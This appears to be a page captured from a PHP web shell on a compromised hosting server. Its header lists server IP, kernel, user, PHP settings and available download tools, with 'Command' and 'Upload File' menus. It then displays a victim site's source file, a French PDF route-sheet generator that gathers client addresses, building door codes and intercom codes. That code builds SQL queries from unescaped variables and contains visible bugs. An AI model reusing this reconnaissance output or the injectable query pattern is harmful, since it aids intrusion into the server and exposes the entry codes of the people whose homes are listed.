|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/../mobile/includes/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include_once 'includes/fpdf/fpdf.php' ;
define('TITLE_POS', 0) ;
define('TITLE_START', 1) ;
define('INTER_POS', .5) ;
define('INTER_START', 0) ;
define('LINE_HEIGHT', 1) ;
define('PRESTA_POS', 1) ;
define('HEURE_WIDTH', 10) ;
define('CLIENT_WIDTH', 10) ;
define('ADRESSE_WIDTH', 10) ;
define('CODE_WIDTH', 10) ;
define('INFO_WIDTH', HEURE_WIDTH+CLIENT_WIDTH+ADRESSE_WIDTH+CODE_WIDTH) ;
class FeuilleRoute extends FPDF {
var $inter ;
var $date ;
var $utile ;
function FeuilleRoute ($inter, $date = NULL)
{
$this->FPDF('P', 'cm') ;
$this->SetMargins(PRESTA_POS, 10) ;
global $agence ;
if ($date === NULL)
$date = date('Ymd') ;
$this->date = $date ;
$this->Open() ;
$this->SetFont('Times') ;
$this->utile = 0 ;
list($this->inter) = dbi_fetch_row(dbi_query("SELECT concat_ws(' ', inter_genre, inter_nom, inter_pnom) FROM ".TABLE_INTERV." WHERE inter_id = $inter")) ;
$q = dbi_query("SELECT presta_id, presta_desc, client_id, presta_Hdeb, presta_Hduree FROM ".TABLE_PREST." WHERE
inter_id = $inter AND
agence_id=$agence AND
presta_id not in (SELECT new_presta_id FROM ".TABLE_EXCEPT." e, ".TABLE_PREST." p
WHERE e.presta_id = p.presta_id
AND p.inter_id = $inter
And new_presta_id is not null)
") ;
$prestations = array() ;
$to = int2time($this->date) ;
$to = date2int(date('m', $to),date('d', $to)+7,date('Y', $to)) ;
while($p = dbi_fetch_row($q))
{
$pdate = get_occurence($p['presta_id'], 0, $date) ;
$last = 0 ;
while($pdate >= $date && $pdate <= $to && $pdate != $last)
{
$c = dbi_fetch_row(dbi_query("SELECT * FROM ".TABLE_CLIENT." WHERE client_id = ".$p['client_id'])) ;
if($e = dbi_fetch_row(dbi_query("SELECT * FROM ".TABLE_EXCEPT." e, ".TABLE_PREST." p WHERE e.new_presta_id = p.presta_id AND p.presta_date_debut = $date AND e.presta_id=".$p['presta_id'])))
{
$p['presta_Hdeb'] = $e['presta_Hdeb'] ;
$p['presta_Hduree'] = $e['presta_Hduree'] ;
$p['presta_desc'] = $e['presta_desc'] ;
}
$code = array() ;
if (!empty($c['client_digi1']))
$code[] = "D1 : ".$c['client_digi1'] ;
if (!empty($c['client_digi2']))
$code[] = "D2 : ".$c['client_digi2'] ;
if (!empty($c['client_digi3']))
$code[] = "D3 : ".$c['client_digi3'] ;
if (!empty($c['client_interphone']))
$code[] = "I : ".$c['client_interphone'] ;
$info = '' ;
if (!empty($p['presta_desc']))
$info .= "Infos presta. : ".$p['presta_desc']."\n" ;
if(!empty($c['client_adr_sup']))
$info .= "Infos client : ".$c['client_adr_sup']."\n" ;
$complement = dbi_query("SELECT * FROM ".TABLE_COMP." c, ".TABLE_CLIC." a WHERE a.agence_id=$agence AND a.auto_id = c.auto_id AND c.client_id=".$c['client_id']) ;
if(mysql_num_rows($complement) > 0)
{
$info .= "Infos compl. :" ;
while($comp = dbi_fetch_row($complement))
$info .= "\n - ".$comp['label']." :\n".$comp['text'] ;
$info .= "\n" ;
}
$heure = int2heure($p['presta_Hdeb']).' - '.int2heure(addduree($p['presta_Hdeb'], $p['presta_Hduree'])) ;
$client = $c['client_genre'].' '.strtoupper($c['client_nom']).' '.ucwords(strtolower($c['client_pnom'])) ;
$adresse = $c['client_adr1'].(!empty($c['client_adr2']) ? " ".$c['client_adr2'] : '').(!empty($c['client_adr3']) ? " ".$c['client_adr3'] : '').
(!empty($c['client_bat']) ? " Bat. ".$c['client_bat'] : '').(!empty($c['client_etage']) ? " Etage ".$c['client_etage'] : '').
(!empty($c['client_porte']) ? " Porte ".$c['client_bat'] : '').' '.$c['client_cp'].' '.$c['client_ville'] ;
$prestations[$pdate.$p['presta_Hdeb'].addduree($p['presta_Hdeb'], $p['presta_Hduree'])] = array (
'heure' => $heure, 'client' => $client, 'adresse' => $adresse, 'code' => $code, 'info' => $info) ;
$last = $pdate ;
$pdate = get_occurence($p['presta_id'], 1, $pddate) ;
}
}
ksort($prestations) ;
$jour = 0 ;
$this->utile = count($prestations) ;
foreach($prestations as $id => $p)
{
$day = substr($id, 0, 8) ;
if($jour != $day)
{
$this->SetFont('', 'B') ;
$this->Cell(0, LINE_HEIGHT, 'Prestation du '.int2date($day), 1, 1) ;
$this->SetFont('') ;
}
$this->Cell(HEURE_WIDTH, LINE_HEIGHT, $p['heure'], 1) ;
$this->Cell(CLIENT_WIDTH, LINE_HEIGHT, $p['client'], 1) ;
$this->Cell(ADRESSE_WIDTH, LINE_HEIGHT, $p['adresse'], 1) ;
$this->Cell(CODE_WIDTH, LINE_HEIGHT, join(' ', $p['code']), 1, 1) ;
if(!empty($p['info']))
$this->MultiCell(INFO_WIDTH, LINE_HEIGHT, $p['info'], 1) ;
}
$this->Close();
}
function estUtile() {return $this->utile > 0;}
function Header ()
{
$this->SetFontSize(26) ;
$this->SetXY(TITLE_POS, TITLE_START) ;
$date = int2time($this->date) ;
$date = date('d/m/y', mktime(0,0,0,date('m', $date),date('d', $date)+7,date('Y', $date))) ;
$this->Cell(0,LINE_HEIGHT, "Feuille de route du ".int2date($this->date, 'd/m/Y')." au $date", 0, 0, 'C') ;
$this->SetFontSize(8) ;
$this->SetXY(TITLE_POS, TITLE_START) ;
$this->Cell(0,LINE_HEIGHT, $this->inter, 0, 0, 'L') ;
$this->SetFontSize(12) ;
$this->Ln();
}
}
?>